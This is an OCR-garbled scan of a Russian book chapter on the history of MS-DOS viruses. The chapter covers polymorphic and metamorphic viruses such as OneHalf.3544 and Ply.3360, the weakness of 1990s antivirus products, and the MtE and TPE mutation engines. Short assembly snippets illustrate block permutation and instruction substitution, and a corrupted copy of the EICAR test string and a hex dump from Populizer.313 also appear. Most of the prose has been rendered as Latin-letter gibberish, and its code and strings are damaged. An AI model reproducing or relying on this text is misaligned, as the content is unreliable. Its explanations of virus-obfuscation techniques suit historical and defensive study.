coB  o h  He npH BH ec, a b  fla jibH en m eM  6 h j i  M H oroK paTH o n p e B 3 o iiaeH  no 
CJI05KH0 CTTI CBOHMH 6 oJIf;e « M0 JlOJlbIMH»  COOpaTbHMH. Ero «B eJ IH H Iie» 

3aKJHOHaeTCH He b  tom , h t o  o h  coaepacaji flOBOJibHO opu rH H aJ ibn y io  h h -  

T e p n p eT au m o  h a c k  nojiHMop4>H3Ma, h  aaxce He b  tom , h to  b  xozte C Boero  

<sTpHyMc{)aJibHoro» p a c n p o c T p a u e m ia  n o  MHpy o h  yMyapiuicH n o 6 biBaTb  

qyT b  jih  He Ha Kaacfloii M aniHHe, h o  b  tom , h to  o h  n p o H 3BeJi K aK yro-To rjiy- 
6 h h h v io  n o f lB H ^ K y  b  yMax KaK BH pycoJioroB , TaK h  BHpyconncaTejieii.

IloHBJieHHe 3THX ( i i  HM n 0 f l0 6 H H X ) BHpyCOB 03HaMeH0BaJI0 co6 o h  Ha- 

cTynJieH iie  s i io x h  6 o jib iiiH x  nepeM eH. B  caMOM a e jie , k 1 9 9 3 -1 9 9 4  rozia.vi 

rpa4>HHecKa>i o6 o jion K a  W in d o w s  3 .X , n ecM o ip tf Ha cbo io  iio n y jw p H o cT b , 

TaK h  He cTa.na 6a30B0H n jiaT^ iopM oft f lj ia  n o jib soB aT e jib cK oro  nporpaM M 

H oro  oOecneneHHH -  KoncepBaTHBHoe «6o jib iuH H C TB 0» He ToponH Jiocb  

oKOHHaTejibHO paccTaBaTbca c MS-DOS. FIpaKTHHecKH Bee, ;ia>Ke caMbie 

rjiy6H H H bie o c o o c h h o c th  a p x m eK T yp b i MS-DOS o h jih  x o p o m o  H3y>ie-
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hm h He HBJisumcb 6oJibiue TaiiHOH hh ana. BupycoriHcaTejieH, hh njia hx 

onnoHeHTOB.
B cjiosKHBiueHCH k TOMy MOMemy ciiTyauHH BHpycojioroB TpeBoacH- 

jio jiHinb jiaBHHOo6pa3Hoe HapacTaHHe KOJiniecTBa /lOBOJibHO npocTbix h 

o£Hc>o6pa3HMX BHpycoB, b  c b h 3h  c HeM hmh HaHajiH aKTHBHO pa3pa6a- 
TbiBaTbCJi h BHe/ipHTbCH cpezicTBa aBTOMaTH’iecKoro o6HapyaceHHH h y/ia- 
jieHiia «CTaHflapTHbrx» BHpycoB (HanpHMep. KOMnjieKT A d ln f/A d ln fE xt  

/I. M octoboto h K). Jlaabinm a).
Tanoe nojioacemie aeji He Mor.no He o ipa3HTbca h Ha Ten/ieHmLax bh- 

pyconncaTe.?ibCTBa. I lo  caM0Jiro6HK) «TexHOKpbic» omji HaHeceH MOiUHbiii 
j'Sap. HeM ace ctoh t XBacTaTbca nepea «copaTHMKaMM», e c n n  tboii Biipyc 

He TOJibKO He nojivHHJi pacirpocTpaHeHHH, ho h MrHOBeHHO ^cjiojkhji ro- 
JioBy» yace Ha coce/meM KOMnbioTepe, npnneM xo.3hhh ;rroro KOMiibroxepa 

ziaace aToro He 3aMeTHJi?!
M bot BHpyc OneH alf.3544 otkphji nepes BHpycoriHcaTejwMn HOBbie 

r0pH30HTbI.
C T a jio  «M OAHbiM » iracaTb c;io>KHbie h  TinaTejibHO oTJiaaceHHbie B iipycb i, 

cnocooHbie 3araaaTb aara^K y B H p yco jio ry  He npocTo c|)aKTOM CBoero c ym e - 

CTBOBaHIW, HO H 3aJI0a<eHHbIMII BHyTpH BH pyca XHTpoyMHblMH H/ieaMH. 

B  cp e^ e  B H pycorm caTe jie fi noBbiCHJica n p ec ra a c  HHc;iHTbca He «TpoeH -

HHKOM*, HO KaK MI1HMMYM «X0p01UHCT0M». 3naHHH aiOJKHHbl CHCTeMHblX
npepbiBaHHH ii yMCHHH naKopaoaTb pa6oTOcnoco6Hyio acceM6jiepHyro 

nporpaMMy CTaHOBH/iocb He/(GCTaT04H0. hto6h  cniiTaTbca «HacroflmiiM  
Mano». BHpycoraicaTeJiH Bcepbe3 3ace;iH 3a H3yMemie TeopeTmecKHX oc- 
hob nporpaMMHpoBaHHH, HaMa.riu npHMetiHTb npn miif|>poBKe-paciun<|)poB- 
Ke c/roacubie Merozibi n oncK a  h copTHpoBKii aaHHHX, K0M6HHaT0pHKy, tco- 
pHio rpac{x)B, MaTeMaTHMecKyK) JioniKy h t. n. B a ie a  3a BHpycoM O n eH a lf  

npHin.mi raKHe c.'io>KHonoJiHMop(|jHbie «m ohctph», KaK Nostardam us, 
N utCracker, R D A .F igh ter, Ukraine, Kaczor, Zhcnghi h npoMne.

Bee 3th BHpycbi 6h jih  ycTpoeHbi no <<KJiaccinecKOH*> cxeMe: co/jep- 
>Ka;iH KaK OT Konini K KOmiH paCIIIHcJipOBlHHK, TaK H 3a-
iimcfjpoBaHHoe c pa3.TH4HbiMH «KJii0HaMii» ocHOBHoe Tejio BHpyca.

O;iHaK0 yace bo BTopoii noJioBHHe 1990-x roziCB noaBH./nicb HOBbie 

l i j ie n .  Flpeacfle Bcero cjieayeT ynoMjmyTb H/ieio c.ayHaiiHoii «nepM jTa- 
q im » (nepeMeuiHBaHiin), npiiMeHeHHOH He tojibko k pacmiK^poBiuHKy, 
KaK b Biipyce OneHalf.3544, ho h ko BceMy nporpaMMHOMy ko^v Biipyca.

OflHHM H3 nepBbix ripe/u'.TaBHTe;ieH «hoboh BojiHbi» craji Biipyc 

Ply.3360. Te.no ero paanHTo na mhojkcctbo o.tokob ominaKOBOH /ijihhm. 
iipuneM Kaac^biii TaKoft 6/iok co#epacnT o;my «3Ha>iHMyio» KOMair/i}7 (ko - 
Man^y, Bbino./iHHK3myio KaKoe-Hn6yab Baamoe n .n a  a;iropHTMa /leik'TBiic).
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« M y c o p »  (c o c T o a m n t t  H 3 k o m 3 h a  «N O P ») h , bo3m o>kho, K O M a n A y  n e p e - 

A a n H  y n p a B .n e H K H  («JM P » h j i h  «C A L L ») H a  / ip y r o n  6 jio k . « 3 H a n H M a H »  

K O M a H ^a  (H a n p iiM e p , «INC  A X ») M oaceT s a H H M a Tb  J iio 6 y io  i io 3 h iih k i  

B H y T p H  6 jio K a , a KO M aH Aa n e p e x o A a  y n p a B Jie H H H  m o w c t  O Tc y TC TB O B a Tb . 

B o t  A B 3  B a p n a H T a  T a K o ro  6 ji0 K a :

; BapkiaHT 1 
nop
inc ax 
nop ...

LABEL

; B apnaH i 2

nop
nop
inc ax 
call LABEL

B j i o k h  B H y r p n  B H p y c a  M o i y r  p a c n o jia ra T b c a  b  jh o 6 o m  n o p a n K e , a  rtp a - 

B H A b H a a  H o cjie / iO B a Te jib H O C Tb  h x  H c rio iiH e n H H  o p ra H H 3 y e T c a  n p n  n 0 M 0 - 

iu h  KOMaH/i «JM P» h  «C ALL». C a M o e  y A H B H Te .Tb H o e , h t o  b  B iip y c e  b o - 

o 6 m e  H e T  H H K 3 K H X  U IH ^jp O B IlIH K O B  H  p3CI.UH(|)pOBlUHKOB, 3 H 3 riO A o fillb lX  

« 6 j i o k o b »  c o c T a B .ie H  H e TO JibK O  a n ro p H T M  3apa>KeHHH, h o  h  a j iro p H T M  

n e p e M e u iH B a H H H  6 jio k o b , t o  e c T b  n p a K T H n e c K H  B e cb  B H p y c ! 3 t o  h  e c Tb  

n p H M e H C H H e  H A e H  « n e p M y T a i iH H »  B iip y c a .

Pa3yMeeTca, npiiHUHn pacno3HaBaHiw K0HKpeTH0 s to to  BHpycs a o -  

BOJibHO npocT, oco6eHHo ecJiH ncnojibsoBaTb ^  ero peajiH3aimH oah h  

H3 MeTOAOB noiuaroBOH TpaccnpoBKH. 3aioiioHaeTCH oh b cjieAyioweM: 
He06x0AHM0, nponycKan «MycopHbie» KOMaHAW, ABnraTbca no o.TOKaM 

B nop^AKe HX HCnOAHeHHH II C'o6np3Tb BMeCTe TOJibKO 43HaHHMbie» KO- 
M3HAbI. IIoC.Te 33BepmeHH« npOXOA3 MHOJKeCTBO «3H3HHMbIX» KOMaHA 

o6pa3yioT CTaTiraibiii «x p e o e T » BHpyca, iipeACTaBJWiomHH co6oh biiojihc  

Tp3AHmiOHHVK) CHTHSTVpy.
B H p y c o iiH c a T e jW M H  n p e A n p H H H M a jiH C b  H e o A H O K p a TH b ie  n o n b iT K ii  

« y c H .T H T b »  a j i r o p iiT M  n e p M V T a m iH .

H a n p H M e p , BHpycbi ceMeiicTBa TMC nocJieAOBaTejibiio, KOMaHAa 3 a 

KOMaHAOH, CTpOHJIH B naMHTH CBOH nepMyTiipoBaHHbiii 0 0 p a 3 , B n p O H 3 - 

BOJIbHUH MOMeHT BpeMeHH TO A6JI3H n p O n y C K H  (n pH  nO M O U IH  KOM aHA 

« J M P > ) ,  t o  3anojiHflH 3t h  nponycKH onepeAHbiMH KOMaHAaMH. FIpH s t o m  

ohh iicrrojibsoBajm  HaxoAHWJTOCH BHyTpH Biipyca 3 a m n 4 )p o B a H H y io  c T a - 

THHiiyio Ta6 ;iHny, co;iep>Kaiuyro no3Hmiii KOMaHA n  h x  aahhm . TaKHM 0 6 - 

pa30M, B H p y c w 3Toro ceMeiicTBa npeACTaBJiajiH co6 oft Bcero jm m b «th o -  

p iIA » IiepMVTIipyiOIUUX BHpycoB II « o 6 hIHHbIX» IlOJIHMOp<f)HKOB.
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A  bot BHpycbi ceMeiicTBa V C G  (B e lk a  u  S tre lka ) tsk hx  Ta6jmu He 

coztepacaJiH, ho Bee paBHo, no mhchhk) H . /[HKiueBa, BHyrpH hhx Haxo- 
flHJIHCb 3aii!H(|)pOBaHHbie «OCTpOBKH CTa6HJIbHOCTH» -  BO-nepBhIX, no- 
CTOHHHbie nponeaypbi, peajiH3yioinne ajiropiiTM MVTauHii; B0-BT0pbix 

«CnpaB04HIIK 3aMeH>>, COrJiaCHO KOTOpbXM HCKOTOpbie KOMaHflH BHpyca 

M erajincb Ha cboh (f>yHKHHOiiajibHbie SKBHBajieHTbi:

; BapHaHT 1 
nov R1,R2 
; BapMaHT 2 
push R2 
xchg R1.R2 
pop R2 
; BapnaHT 3 
sub R1.R1 
or R1,R2 
, BapnaHT 4 
xor R1,R1 
add R1.R2 
; BapHaHT 5 
push R2 
pop R1 
; BapHaHT 6 
nov R1,0 
xor R1,R2

CaMa no ce6e Hjxex «nepMyTannH» (nepeMeuiHBamw) BupycHbix ko- 
MaHfl ooJibuiHX TpyanocTeft nepea BiipycoJioraMH He co3flaeT. Ho b o t  

ecjin <cKpecTHTbs> ee c n^eefi 3aMeHbi Bcex KOMaH/[ Ha hx cJ)yHKUHOHajib- 
Hbie 3KBHBajieHTbi, HanpHMep «X O R AX,AX » Ha «M O V  AX,0». to  bo3- 
HHKHeT HCKJIKMIITeJIbHO CJIOJKHaH flJIfl fleTeKTHpOBaHHH pa3H0BH,(lH0CTb 

noiiHMop(|)HKOB -  «MernaMop<pmte» («m etam orph ») BHpycbi [65]. Hro- 
pio MyrrnKy, H3BecTH0My BHpycoJiory 1990-x roflOB, npmmcbiBaiOT eM- 
Koe orrpenejieHHe: «MeTa.wopcJ)H3M ecTb nojiHMop(J)H3M, npiiMeHeHHbiH 

ko  BceMy BHpycHOMy re jiy». B snoxy MS-DOS-nporpaMM 6biJio c03aaH0 

He oneHb MHoro MeTaMop(J)Hbix BHpycoB, aa h 6ojibuiHx npo6jieM nepea 

aHTIIBHpVCHblMH CneLtHajlHCTa.MH OHH He nOCTaBH.UH. PaCUBeT nOflOOHOH 

« 3apa3bi> npimiejicn Ha pyoeac /iByx bckob, Ha srroxy W indow s.
A  hto ace aHTHBHpycu? CeiiHac, aaanHM hhcjiom, MHTaa aHTHBHpyc - 

Hbie npecc-6io.aJieTeHH h CTaTbii Tex JieT, sKcnepHMeHTiipyn co ciapbiMH 

aHTHBiipycaMH, Tpyano oTnejiaxbCM ot mucjih, hto BHpycojiorH cepeflHHbi 
1990-x 0Ka3a.THCb He roTOBbi k «n0JiHM0p4>H0H peBOjnoqHH»! floTepxjiH 

aKTyajibHocTb h 6bicTpo nciesjiii co cucubi Mnorne, ripeac/ie oqenb no- 
nyjiapHbie, anTHBiipycHbie nporpaMMbi. SaKauajiHCb ycTOH TaKiix «moh- 
ctpob » MHpoBQH aiiTHBHpycHOH HHjiycTpMM. KaK Central Point Software,
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McAfee Associates, DrSolomon, Symantec h  npoHiie. T p a / u in H O H iib ie  M e- 

TO/ibi /leTeKTHpoBaHHH h  y a a jie H H a  B iip y c o B , Ha K o x o p b ix  6 h jih  ocH O B aH bi 

h x  n p o s y K T b i ,  O K a3 ajiH C b H e c o c TO H Te jib H b iM H . 0 6 H a p y a c H B a T b  c jio jk h o - 

n o jiH M o p 4 )H b ie  BHpycbi hm eme yaaBarocb ( s t o  npome), a b o t  ysajian. h x  

H3 aap a a ce H H W x (Jiaftjio B  -  H e T.

Norton AnhVirus

HeeQSMOKHO ncnodSKTb
A:\ONEHALFl3544WneH3544.CO_

yftanwre ero m oconupyfrre HesapaweHNjo 
(VOTHtO aToro

Pmc. 3.8 ❖ N o r t o n  A n t iv i r u s  cepewHbi 1990-xroflOB 
S e c c H / ie H  n p o T U B  O n e H a l f . 3 5 4 4

OTeMecTBeHHaa BHpycojioma TaioKe oica3ajiacb b HOK/iayne. 3HaMeHH- 
Tbiii AidsTest fl. H . JIoshhckoto, He cnocoSnbiii o6napy*HBaTb ca.MOMo- 
flH(J)HiiHpyiomyioca 43apa3V>>, xoth h npoaepacajica xo oceHH 1997 roaa, 
HO JIHIIIb B pOJIH CTapOH, MHJIOH H 6ecnO.Te3HOH <(HrpymKH». ripaKTH- 
yecKH 6eccHJibHbiM npoTHB HeKOTopbix noao6nbix BHpycoB 0Ka3aJica ii 
KOMn^ieKT A d ln f/A d ln fE xt. Ahthbhpvcm  Toace 0Ka3ajiHCb nepe/j Heo6- 
xoAHMQCTbK) peBo.niotniOHHHx H3MeHeHHH. H  ohh npoiisonuiH. Mmchho 

b 1990-x ro^ax 6h jih  pa3pa6oTaHbi h Haiajin BHespaTbca HOBbie aHTH- 
BHpycHbie TexHO.ToniH:

O  4 p e H T T e H 0 C K 0 n H p 0 B a H Ite »  nO..TOMOp(f>HbIX B H pV C O B , T O  eC Tb  HC- 
n0 JU >3 0B a H H e i ix  h h /i h  B H /iya JibH  bix y a 3 B H M 0 C T e ii;

O  ynpaBJiaeMoe B b in o jm e H H e  n o a o 3 p H T e ;ib H b ix  n p o rp a M M , to  e cn > 

h x  T p a c c n p o B K a  HJIH 3MyjiaUH»;
O  C H H T a K C im e c K H H  n o ^ x o f l  k  a e T e K T iip o B a H H io  « r ie p M y r a  p y io n (hx » 

B H p y c o B ;

O  3BpHCTHMecKHH aHajiH3 H0/[03pHTejibHbix n porpaM M  H T. n. 

H o a p o 6 H ee  s t h  i ia e i i  h  MCTOflbi, 0CH0BaHHbie Ha h h x , 6yay r paccMOT- 

peHbi b nocJ ieaH en  TJiaBe k h h th .

3 .8 . 2 .  no/iMMop<t>Hbie TexH onoruM
3 t o  CBoeo6pa3Hoe «c p e ;ic T B O  a B T O M a T H 3 a u H H » zu ia  HanncaHHa nojiH- 
MopcJtHbix B H p y c o B . FlepByio noJiHMoptfmyio T e x H O Jio ra ro  («/ibh>kok») 
c o 3 a a ji b  1991 r. D ark  Avenger h  H a3B a;i ee MtE -  M utation Engine. B  T e  

B peM e H a n e K O To p b ie  B iip y c o J io r n  oujih  yBepeHbi, m to  C H a n a jia  k t o - t o  

naiiHca.?! n o jiH M o p cJjH b iH  B H p y c  Pogue, a yac n 0T 0M  Dark Avenger Bbi/ie-
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jih ji H3 Hero ajiropHTM MyrauHH b h h c to m  BHfle h  o<|)opMHJi ero b BHfle 
BHejIIHeH 6n6jlH0TeKH, KOTOpyiO MO>KHO 6bIJIO nOflKJIIOHaTb K JIK)6oMy 
BHpycy. BnpoHeM, npocToft anajiH3 TeKCTOBbix cTpoK BHyTpH TeJia BHpy
ca ( « M t E  0.90» h « T N X 2 D A V » )  aaeT ocHOBamie yrBepacflaTb, h to  Bee 
npoHcxo/nuio b to h h o c th  Hao6opoT. B a »H o  t o , h to  n o  MtE nojiHMop<J)- 
Htie B H pycw  c o 3/iaBajincb n a n fio jie e  otibiTHbiMH BHpyconncaTejwMH, h  
hx 6buio OTHOCHTe.TbHO HeMHoro, a Tenepb «3apa3y» noflo6iioro Bima m o t 
«co 6pan> H3 ky6hkob» Kaxflbiii acejiaromHH.

B  AOBOJIbHO KOpOTKIie CpOKH nOHBHJIOCb MHOJKeCTBO BHpyCOB, HCnOJIb- 
30BaBIUHX MtE. A  nOTOM CTa.TH nOJIBJIOTbCH H HOBbie nOJIHMOp(f>Hhie Tex- 
Ho.iiorHH. K  cepeflHHe 90-x  to/iob cjio>KHJiacb uejias «cnemiajiH3anH*i» 
cpeflH BHpyconncaTejieH: co3aaHiie co6cTBeHHhix noJiHMop<})Hbix Tex- 
Ho.ToriiH. Ceftnac hx cymecTByeT okojio nojiycoTHH: MtE, SMEG, TPE, 
DAME, LAME, BAME, MiME, AWME... H o  TOJibKO HeKOTOpbie H3 hhx, 
He Go.nee aroaa iH H , nojiyHHJiH H3BecraocTb h  nocjiyaciuiH h HcrpyMeHTOM 
flJIJI C03flaHHK CeMCHCTB nOJIHMOp4>HHX BHpyCOB.

E. KacnepcKHH npe,acKa3biBaJi, h to  paHo h jih  n03/iH0 a o jijk h u  6h jih  
noflBHTbCH ^MCTaTexHOJiornii >>, to  ecTb aBT0MaTH3Hp0BaHHbie reHepaTO- 
p u  nO.THMOp(|)HbIX TeXHOJIOI'MII. Ho BHpyCOTIHCaTeJWM TO .Til KBa.TH(|)H- 
Kamui He XBaTHJio. to  jih  npocTo JieHb o6yajia, h  3Toro He npoH3onuio.

C.ne/iyeT oTMeTHTb, hto nojiHMopcJjHbie tcxhojiothh m o t v t  npHMeHan.- 
ch He TOJibKO tm x  HanHcaHHH BiipyeoB. H3BecTHbi cjiynan, Kor/ia npo- 
rpaMMHCTbi npn hx noMomu ntrraJiHCb 3auiHTHTb o t aH3acceM6jinpoBa- 
HUH H B3JI0Ma CBOH BnOJIHe MHpHbie CHCTeMHbie yTHJIHTbl H npHKJiaflHbie 
nporpaMMbi. H o  aHTHBiipycbi, KaK npaBHJio, aoBOJibHO «HepBHo» pearn- 
poBa.Tii Ha no/iooHbiii « c h m 6h o 3». Byflynii oobiHiiwM 3aK0H0ri0CJiymHbiM 
nojfb30BaTejieM, cTaHeTe jih bw  aepacai b y  ce6n KaKyio-Hii6yflb GYB/t, 
npo KOTOpyiO aHTiiBiipyc peryjiapHo coo6maeT: ^noAoapeHMe Ha SMEG. 
BASED>>? B o t  rione.My no^ooHaH npaKTHKa mnpoKoro pacnpocTpaHe- 
hhh He no.TyHH.aa. X o t h , K0HeHH0, pamioHajibHoe 3epH0 b Hen Bee paBHo 
npHCVTCTBOBaJio: sthm He3aaaHJiiiBbiM 3KcnepH.\ieHTaTopaM aocTaTOHHo 

6buio npocTo HanncaTb h  ncn0Jib30BaTb cboio, nen3BecTHyio aHTiiBiipy- 
caM noJiHMop4>Hyio tcxhojiothio. H o  yBU, aBTopbi npHKJiaaHbix npo
rpaMM o6whho He apyacaT c chctcmhhm nporpaMMHpoBaHHeM.

PaccMOTpiiM noapo6Hee o/iHy H3 THnHHHbix nojiHMop(})Hbix TexHOJio- 
th h  -  TPE. B ot nepeBOJi (jjparMeHTa «flOKyMeHTauHii», npHJioaceHHon 
a B T o p o M  k CBoeft pa3paooTKe.

TridenTPolymorphic Engine by Masud Khafir [TridenT].

TP E - 3To M O flym , KOTopbiH M o xe T6 b iTb  BcraB/ieH b nporpaM M bi fljm
r o r o ,  HTo6 bi o h h  M or/iH  n p o A y u u p o B a rb  n o m M o p < t> H tje  n p o rp a M M b i.
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T P E  pacnpocTpaHHercfi ksk  OBJ-<pafin. E c/im b u  x o m re  BcraewTb 
T P E b  B aw y nporpaMMy, BbiflonxHbi cKOMnonoBaTb h x  BMecre... T P E  
flenaeTfl.Be semi*. Bo-nepBbix, o h  ujHcppyer opurMHajibHbiM k o a . 3 t o  

flenaercn pa3Ht>iMM cnocodaMM Kaxflbtti pa3, Korfla T P E  Bbi3UBaer- 
cf?. Bo-BTopbtx, fl/ift s ro ro  o h  r e n e p u p y e T  pactuucppoBbiBaiomyio 
npoueflypy... Konev h o , pacuJHcfcpoBWMK ratoKe 6yp,er pa3nm eH npn  
KaxflOM o6patueH m  k  TPE. T P E  M oxer renepHpoeaTb KaK npocrbie 
UJMCppOBlUHKM, TaK M paCLUM&pOBlUMKM CO BK/IIOHeHHblMM C/iyHaHHO 
BbldpaHHblMH «MyCOpHblMl1» KOMdHflBMH.

B  06teKTH0M MOflyjie coaepxaTca koziw Tpex npoueayp:
O rnd_in it -  npeyma3Ha<ieHa Jim nHimnajiii3amiH ziaTHHKa nceB/io- 

cjiynaHHbix Hiicen;
O  rnd_get -  sto  cooctbchuo aaTHHK nceBaocjiynaiiHbix MHce.a;
O  crypt -  co6cxBeHHO nponeaypa umc^poBaHHfl.
IIpaBHJia ncn0Jib30BaHHH T P E  o'teHb npocxbi. IIponeaype crypt nepea 

BU30B0M cjieayer nepeaan, b perncxpax neooxoaHMbie napaMexpw. aapec 
rJiparMenxa, KOTopbrii noflJieacHT 3aiiiH(})poBKe; a.xiiHy imi(J>pyeMOH 06- 
/tacTH; aapec o6jiacTH, b Koxopyro 6yaex noMemeH Koa pacmn(|)poBiunKa; 
(Jwiara peacHMOB BCTaBKH «M y c o p a »  Mexciy KOMan/iaMH paciun(|)poBmHKa 
h npoHee. Cre?iepnpoBaHHbifi noanMopcjjHhm pacwHtjjpoBinHK 6yaex co- 
CTOHTb H3 HeCKOJIbKHX fleCHTKOB KOMaH/I H BblTJMaeXb aOBOJIbHO 3anVTaH- 
HbiM a jw  « lieJioBeHecKoro>> rjia3a. Te\i He MeHee iicnoabaoBaHHe b BHpyc ax 
KaK T P E , TaK h apyriix riojiHMopcjMbix TexHOJiomii hhhcm He aaTpyaHHex 
hx 06Hapy>KaeM0CTb h yaaaaeMOCTb co CTopoHbi coBpeMeHHbix aHTHBnpy- 
COB, no CpaBHeHHIO C «TpaHHL(HOHHblMH» n07IHM0p4>IIKaMH.

3.9. Heo6biHHbie cpaPiAOBbie Bupycbi 
AAFI MS-DOS

3mo 6bui encmue npiuiUHm>iii uyseu -  co cmefi - 
daMU, dttmpoMMOMu, mmpuHOMU, MaKemoMu u 
MyjuatcaMU. 06w,uu eud oo.nee ecezo uanoMuuaji 
My3eu KpuMUHajiucmum: mho to tpomogpatpuu u 
neannemumHbix SKcnonamoe.

A. h B. CxpyrauKne. 
«IIoHe;[ejiiiHiiK fKWHHaeTCH b cy66oTy»

B  n pH H m m e, «c o 4 iin e iiH e :»  BHpycoB -  s t o  Toace «TB opH ecK aa p a o o T a ». 

B o  Bee B peneH a « ; i h t o h »  cpean B iip vco n n ca T e jie ii cw ra jm cb  Te, k to  

H 3o6peTaji h  ncnojib3Q Baji neoob iM iih ie T exn o jion -m  pasM noacem iH , n pn -
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MeHHJi iiecTan/iapTHM e npneM bi n p o r p a M M H p o B a H i ia .  P ea y jib T aT ti h x  pa- 

6o t h  3 3 H H M a io T  MecTO He b  « n b u ib H b ix  3anacH H Kax», a Ha «CBepKaK>mnx 

B H T p H H a X »  JIfOObIX BHpyCHbIX KOJUieKUHH.

3 .9 .1 . «He-Bnpyc» Eicar
B  nanajie 9 0 - x  t o / i o b  X X  Bena h j i c h s m h  «EBponeiicKoro HHCTiiTyTa aHTH- 

BiipycHwx HccjieaoBaHHH» ( c o K p a m e m i o  « E I C A R » )  6biJi pa3pa6oTaH 

«^oacHbiH B H p y c » -  cJ)aH.Ji, coziepacantHH o^eHb KopoTKyio h  c o B e p m e H H O  

6e3BpeflHyro C O M - n p o r p a M M V .  E c j i h  ee 3anycraTb, t o  OHa npocTo Bbi- 

BeaeT H a  3K p a H  c o o S m e H H e  « E I C A R - S T A N D A R D - A N T I V I R U S - T E S T -  

F I L E ! »  h  aaBepiiiHTCH. ]lpe/ina3HaHeH 6bin s t o t  c . - ' io j k h u h  BH p y c »  jijm 

TeCTHpOBaHHH pa60T0Cn0C0 6H 0CTH aHT H B H p y C O B  pa3jTHTObIX npOH3BO- 

^HTejieH: Kaacflbift aiiTHBHpyc 06513311 6biii VMeTb o6Hapy5KHBaTb h  pac- 

no3HaBaTb s t o t  cjjaHJi h  peanipoBaTb Ha Hero TaK, KaK oobiquo pearnpyeT 

Ha H a c T o a m n H  BHpyc. «JIe>ieHHio» s t o t  « .T o a cH b r ii B H p y o ,  pa3y.MeeTca. 

H e  nojpie3Ka;i.

y  s t o h  n p o r p a M M b i  e c T b  o z iH a  3 a o a B H a j i 0 C 0 0 e H H 0 C T b :  M H C J io B u e  3 H a -  

'leimx  B c e x  6 8  6 a i iT O B ,  c o c T a B . ir a io m H X  e e , h b j i h i o t c h  K O / ta M H  6 o / r b in n x  

6yKB n a T H H C K o r o  a/icfjaBHTa i i  H e K O T o p b ix  3 H a K 0 B .  E e  m o j k h o  « H 3 r 0 T 0 -  

B H T b »  B  o 6 b IM H Q M  T e K C T O B O M  p e / ia K T O p e :

X50! P*9AP[4\P2X54(P“ )7CC)7/$EICAR-STAN0ARD-ANTIVIRUS-TESr-FILE!$H+H’>

KcTani, H a n w c a H H e  n p o r p a M M  b  T a K O M  cTiiJie aoBOJibHO HeTpiiBiiajib- 
h o , h 6 o  aBTopy rpeoyeTCH y6irrb cpa3y a b v x  3aiineB: c o/ ihoh  cTopoHbi. 

n p n  n o M o m H  y3Koro Ha6opa MamiiHHbix KOMaHfl co « 3 B V H a m H M H »  Ko/ia- 

m h  ccJwpMiipoBaTb Tpe6yeMbiii tckct; c zipyroii -  o6ecrieHHTb Bbino.THe- 

H H e  ace jiaeM oro  ajiropHTM a. «no;iBHr» eBponeiiciaix B u pyco/ ioroB  v^a- 

.loc.b no B T o p H T b  HeMHoriiM, H a n p i iM e p  a B T o p y  B Hpyca Populizer.313, h  
bot K a K  BbiniflflHT /jaMO ero HanajibHoro cJjpar.weHTa (o6paTHTe B H H M a m i e  
Ha TeKCTOBbie CTpOKH, KOTOpbie O/lHOBpeMeilHO XB.THiOTCH HCIlOJIHHeMblM 

B H p y C H M M  KOflOM!):

43 4F 40 50-55 54 45 52 5F 56 49 52-55 53 5F 43 COMPUTER_VIRUS_C
40 55 42 5F-27 53 54 45 41 4C 54 48-27 5F 4B 49 LUB_'STEALTH’_*I
45 56 2E 5F-56 49 52 55 53 5F 53 40-41 4C 4C 33 EV_VIRUS_SMALL3
2E 5F 57 52-49 54 54 45 4E 5F 42 59-5F 50 4F 50 '_WRITTEN_BV_P0P

LLIjih ro/(bi, aHTHBHpycbi HcnpaBHO pearnpoBajiii Ha « E I C A R . C O M »  

(h  npoao-TDKaioT aejiaxb sto  ;k> chx nop), ho nocTenemio BbincHiiJiocb, 
hto ropa3flo HHTepecHee npocjieziHTb, KaK Ha axy nporpaMMy pearapy- 
ioT no^b30BaTejin. A  ohh pearnpyioT oneHb HepBHO. YBiiaeB Ha 3KpaHe 

cooSujemie Tuna « 0 6 n a p y > K e H  TecTOBbin (f>aHJi E I C A R .  H e  6ecnoKoii-
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Tecb, 3 t o  H e B H p y c ! » ,  n0jib30BaTejiH  TeM  He M eHee o6biHHo nanH naioT  

HepBHiiMaTb, 6poca»D T pa&OTy u  n brra ioTca  BuacH H Tb y KOJiJier -ccnocoo  

ucneJieH H fl 3 to h  He“H3Jie4HMOH 3apa3bi>. R o  c h x  n o p  H e peK O M enayeTca  

nocbU iaTb  AaHHbiH (Jjafiji n o  aaeicrpoHHOH noH Te b  b h a e  flBOHHHoro b jio -  

jk ch h h  b 3 J ie K T p o H H o e  n a c b M o  -  a i iT H B H p y c H b ie  (jnu ibTpbi npoB a ftaepa , 

H acT p oeH H iie  «6 a n T e ;ib H b iM ii»  aaM im aM ii, M oryT  He TOJibKO « r p o x H y T b »  

B e e  irn cbM o uejiHKOM, h o  e i y e  h  3 a H e c T H  Bam a a p e c  b  cb o h  «H epH b iii

O I H C O K K

/Ia, npaB  6biJi B e c c e jin n  B o h h c b : caMbiH CTpaiiiHbiH B iip yc  -  s t o  T p yc - 

JiHBbiH n o jib soB aT e^b . O t  ce& a /io6aBHM: h  aaMHH -  TO/Ke!

3 .9 .2 . «AByno/ibiM» Bupyc
« KoMiibiOTepHbii} B iipyc -  o to  nporpaMMa, KOTopaa yMeeT pa3MHo»caTb- 

cs\» . -  3anbjih ji O p e a  K o sh . M h  yace 3HaeM, h to  nepe;iKo KOMnbK)TepHbie 

BHpycw  oojiajjatoT h apyritMH cBOilcTBaMii, xapaKTepHbiMH zijim oHOJiorn- 
MecKHX 0 6 i>eKT0 B: HanpHMep, noJiHMopcJmbie BHpycbi yMeioT b unipoK iix  

npe/ieJiax BHaon3MenaTb cboio  <<BHemHocTb».
H o  H3pe.AKa BCTpeyaioTCH Bupycb i. KOTOpbie nbixaiOTCH MoaeJiwpoBaTb 

a p y r i ie ,  6 o j ie e  cjioacH bie 4>opMbi n oB eaen n a  jk h b w x  c y m e c T B .  H anpH M ep, 

BHpyc RNMS H M H TH pyer n o j io B o e  paaMHOJKeime, x a p a K T e p H o e  ziJia Bbic- 
I i lH X  0praHH3M0B.

O h  COCTOHT H3 ABVX He3aBHCHMbIX pe3HJieHTHbIX KOMnOHCHTOB:

RNMS.MW.Man.297 h RNMS.MW.Woman.353. CTapTOBaB H3 3apa- 
>KeHHOH n p o rp a M M b i, K a J K a u ii  t o  K O M n O H C H TO B  n e p B U M  a c jio m  n p o B e p a - 

eT H a jii iH iie  b  onepaTHBHoii n a M a T ii  C B o e ro  p e 3 iia e H T H o r o  o 6p a 6o rM H K a  

n p e p b iB a H H H  21h h  n p n  i ic o o x o z ih m o c th  y c x a H a B JiH B a e r  s t o t  o 6p a 6o T -  

